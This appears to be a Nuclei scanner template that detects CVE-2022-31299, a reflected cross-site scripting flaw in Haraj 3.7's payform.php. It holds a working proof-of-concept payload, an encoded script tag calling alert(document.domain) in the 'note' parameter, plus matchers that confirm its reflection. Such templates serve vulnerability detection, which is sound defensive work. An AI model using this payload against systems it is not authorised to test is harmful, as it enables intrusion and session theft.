55 lines
1.7 KiB
YAML
55 lines
1.7 KiB
YAML
id: CVE-2022-31299
|
|
|
|
info:
|
|
name: Haraj 3.7 - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: |
|
|
Haraj 3.7 contains a cross-site scripting vulnerability in the User Upgrade Form. An attacker can inject malicious script and thus steal authentication credentials and launch other attacks.
|
|
remediation: |
|
|
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
|
|
reference:
|
|
- https://github.com/bigzooooz/CVE-2022-31299
|
|
- https://angtech.org
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-31299
|
|
- https://angtech.org/product/view/3
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-31299
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00199
|
|
epss-percentile: 0.57562
|
|
cpe: cpe:2.3:a:angtech:haraj:3.7:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: angtech
|
|
product: haraj
|
|
tags: cve,cve2022,haraj,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '><script>alert(document.domain)</script></textarea>'
|
|
- 'content="nextHaraj'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a004830460221009402bacd47dc72cb8f3cf758491ae5acc76078dd612412f799eaeb6338e1a269022100e0f81fb93333cb6a3a5762d98e1935b8d6dcf94dff7052360238082d633185a7:922c64590222798bb761d5b6d8e72950
|